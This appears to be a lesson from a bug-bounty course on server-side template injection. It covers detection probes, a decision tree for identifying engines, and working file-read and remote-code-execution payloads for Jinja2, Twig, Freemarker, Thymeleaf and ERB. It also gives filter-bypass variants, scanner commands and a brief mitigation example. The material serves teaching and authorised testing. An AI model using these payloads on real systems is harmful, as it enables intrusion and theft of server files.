Advanced Exploitation Techniques
Server-Side Template Injection (SSTI)
3 min read
SSTI occurs when user input is embedded into server-side templates. It can lead to information disclosure, arbitrary file read, and Remote Code Execution.
Understanding SSTI
Template engines render dynamic content:
Template: "Hello {{name}}!"
Input: name = "World"
Output: "Hello World!"
Attack: name = "{{7*7}}"
Output: "Hello 49!" # Template executed!
Detection
Basic Polyglot
# Test string that triggers errors in multiple engines
${{<%[%'"}}%\.
# If error differs from normal input → template engine present
Engine-Specific Detection
| Engine | Probe | Expected |
|---|---|---|
| Jinja2 (Python) | {{7*7}} |
49 |
| Twig (PHP) | {{7*7}} |
49 |
| Freemarker (Java) | ${7*7} |
49 |
| Thymeleaf (Java) | [[${7*7}]] |
49 |
| Velocity (Java) | #set($x=7*7)$x |
49 |
| Smarty (PHP) | {7*7} |
49 |
| ERB (Ruby) | <%= 7*7 %> |
49 |
Decision Tree
Input: {{7*7}}
├── 49 → Jinja2, Twig, or similar
└── {{7*7}} → Not those engines
├── Try: ${7*7}
│ └── 49 → Freemarker, Velocity
└── Try: {7*7}
└── 49 → Smarty
Exploitation by Engine
Jinja2 (Python/Flask)
# Read file
{{ ''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read() }}
# RCE
{{ ''.__class__.__mro__[2].__subclasses__()[59].__init__.__globals__['sys'].modules['os'].popen('id').read() }}
# Shorter payload (if import available)
{{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
Twig (PHP)
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Alternative
{{["id"]|filter("system")}}
Freemarker (Java)
# RCE
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# Alternative
${"freemarker.template.utility.Execute"?new()("id")}
Thymeleaf (Java)
# RCE via SpringEL
[[${T(java.lang.Runtime).getRuntime().exec('id')}]]
# URL parameter variant
__${T(java.lang.Runtime).getRuntime().exec('id')}__::.x
Ruby ERB
# RCE
<%= system('id') %>
<%= `id` %>
Bypassing Filters
Jinja2 WAF Bypass
# Without quotes
{{ request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f') }}
# Without brackets
{{ request|attr('application')|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('id')|attr('read')() }}
# Unicode escapes
{{ '\x5f\x5fclass\x5f\x5f' }} # __class__
Character Restrictions
# Without dots (Jinja2)
{{ request['application']['__globals__']['os']['popen']('id')['read']() }}
# Without underscores
{{ request|attr(request.args.get('a'))|attr(request.args.get('b')) }}
# URL: ?a=__class__&b=__mro__
Where to Find SSTI
Common injection points:
- Email templates (custom variables)
- Error messages with reflected input
- PDF/document generation
- SMS/notification templates
- User profile fields rendered server-side
- CMS page builders
# Test every input field
# Look for features that "preview" or "render" user content
# Check API endpoints that format/template responses
Automated Testing
# Using tplmap
python tplmap.py -u "https://example.com/page?name=test"
# Using Nuclei
nuclei -l targets.txt -tags ssti
# Burp extension: Template Injection Scanner
Bounty Examples
| Company | Engine | Impact | Bounty |
|---|---|---|---|
| Uber | Jinja2 | RCE | $15,000 |
| Shopify | Liquid | File read | $10,000 |
| Yahoo | Freemarker | RCE | $8,000 |
| HubSpot | HubL | File read | $5,000 |
Mitigation Understanding
Why SSTI happens:
- User input directly in template string
- Using template engine for email personalization
- Dynamic template generation from user content
Secure approach:
# Vulnerable
template = f"Hello {user_input}!"
render_template_string(template)
# Secure
render_template("template.html", name=user_input)
Pro Tip: SSTI often hides in unexpected places—error pages, email previews, PDF generators. Test every field that renders output.
Next, we'll cover Web Cache Poisoning and HTTP Request Smuggling. :::